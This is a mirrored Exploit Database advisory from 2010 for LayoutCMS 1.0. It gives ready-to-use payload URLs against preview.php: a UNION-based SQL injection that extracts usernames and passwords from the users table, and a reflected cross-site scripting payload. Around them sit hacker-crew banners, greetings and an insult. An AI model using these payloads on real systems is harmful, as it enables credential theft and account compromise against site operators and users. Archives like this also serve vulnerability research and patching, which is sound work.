Layout CMS 1.0 – SQL Injection / Cross-Site Scripting

• Exploit Database
• 11 阅读

• 作者： Red-D3v1L
  日期： 2010-01-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11120/

• +===================================================================================+
  ./SEC-R1Z _ __ __ _ _ ___ _ _ _ _ ___ _ _ _ _ 
  / /_ _ _ _ / _ _\/ _ _ /\\< |/_ _ _ _ / 
  \ \_ _ _ _//___ // __||) / || / /
   \_ _ _ _//___ //| __ ||/||/ /
  _______\\_ _ \\2_0_0_9 |\|| / /____
  /_ _ _ _ _\ _ _ _/\ _ _ _ /|__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
  +===================================================================================+
  
  [?] ~ Note : sEc-r1z CrEw# r0x !
  ==============================================================================
  [?] LayoutCMS 1.0 (SQL/XSS) Multiple Remote Vulnerabilities
  ==============================================================================
  [?] My home:[ http://sec-r1z.com ]
  [?] Script: [ LayoutCMS 1.0 ]
  [?] Language: [ PHP ]
  [?] Vendor[http://layoutcms.com/]
  [?] Founder:[ ./Red-D3v1L ]
  [?] Gr44tz to:[ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
  [?] Fuck To : [ Zombie_KsA << big big big L4m3r ] 
  ########################################################################
  
  ===[ Exploit SQL ]===
  
  [»]Exploit : [Path]/preview.php?id=[inject c0dE]
   
  [»]dem0: http://server/preview.php?id=-1+union+select+1,2,concat%28pass,0x3e,uname%29,4,5,6,7,8,9,10+from+layout_demo.users
  
  [~] look For ThE Title xD
  
  
  ==============================================================================
  
  ===[ Exploit XSS ]===
  
  [»]Exploit : [Path]/preview.php?id=[XSS Vuln]
   
  [»]dem0: http://server/preview.php?id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
  
  ==============================================================================
  
  #sEc-r1z.com Str1kEz y0u !